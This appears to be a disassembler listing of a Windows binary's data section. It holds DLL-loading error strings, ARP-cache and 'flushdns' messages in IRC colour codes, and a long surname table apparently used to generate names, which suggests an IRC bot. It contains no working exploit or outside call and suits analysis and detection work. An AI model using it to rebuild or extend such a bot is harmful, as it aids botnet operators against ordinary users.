; DATA XREF: sub_40A5C5+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+12Co align 10h aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+C4o align 10h aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+28o align 10h a_: ; DATA XREF: sub_41036B+252o unicode 0, <.>,0 unk_42D854 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A9E7o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 unk_42D884 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A9B5o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_42D8B4 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A981o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_42D8D8 db 2Dh ; - ; DATA XREF: sub_40A928+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AA06+46o ; sub_40C2AF+38o aReal db 'real',0 align 4 dd 0 dword_42D91C dd 0 ; DATA XREF: sub_40AE84+7o off_42D920 dd offset sub_40AAAC ; DATA XREF: sub_40AE84+49r aConst db 'const',0 align 10h dd 1, 40AB19h, 7474656Ch, 7265h, 0 dd 2, 40AB77h, 706D6F63h, 2 dup(0) dd 3, 40ABC4h, 6E756F63h, 797274h, 0 dd 4, 40AC62h, 736Fh, 2 dup(0) dd 5, 40ACD7h, 6E6C6C61h, 6B6369h, 0 dd 6, 40AEEDh off_42D99C dd offset aAbdulrazak ; DATA XREF: sub_40AAAC+21r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42D9A8 dd offset aAddison ; DATA XREF: sub_40AE84+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" ; --------------------------------------------------------------------------- loc_42E3C8: ; CODE XREF: ___:loc_42E3C8j js short loc_42E3C8 inc edx add [esi+edi*8+42h], ch add [eax-2], ah inc edx add [esi+edi*8+42h], dl add [eax-2], cl inc edx add [esi+edi*8], bh inc edx add [esi+edi*8], dh inc edx add [esi+edi*8], ch inc edx add [esi+edi*8], ah inc edx add [esi+edi*8], bl inc edx add [esi+edi*8], dl inc edx add [esi+edi*8], al inc edx add ah, bh std inc edx add al, dh std inc edx add al, ch std inc edx add al, ah std inc edx add al, bl std inc edx add al, dl std inc edx add ah, al std inc edx add [eax-4FFFBD03h], bh std inc edx add [ebp+edi*8-263FFBEh], ah inc edx add [eax-7BFFBD03h], dl std inc edx add [ebp+edi*8+42h], bh add [eax-3], dh inc edx add [ebp+edi*8+42h], ah add [ebp+edi*8+42h], bl add [eax-3], dl inc edx add [eax-3], cl inc edx add [eax-3], al inc edx add ds:0FD280042h[edi*8], dh inc edx add [eax], ah std inc edx add [eax], bl std inc edx add ds:0FD0C0042h[edi*8], dl inc edx ; --------------------------------------------------------------------------- db 0 dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset 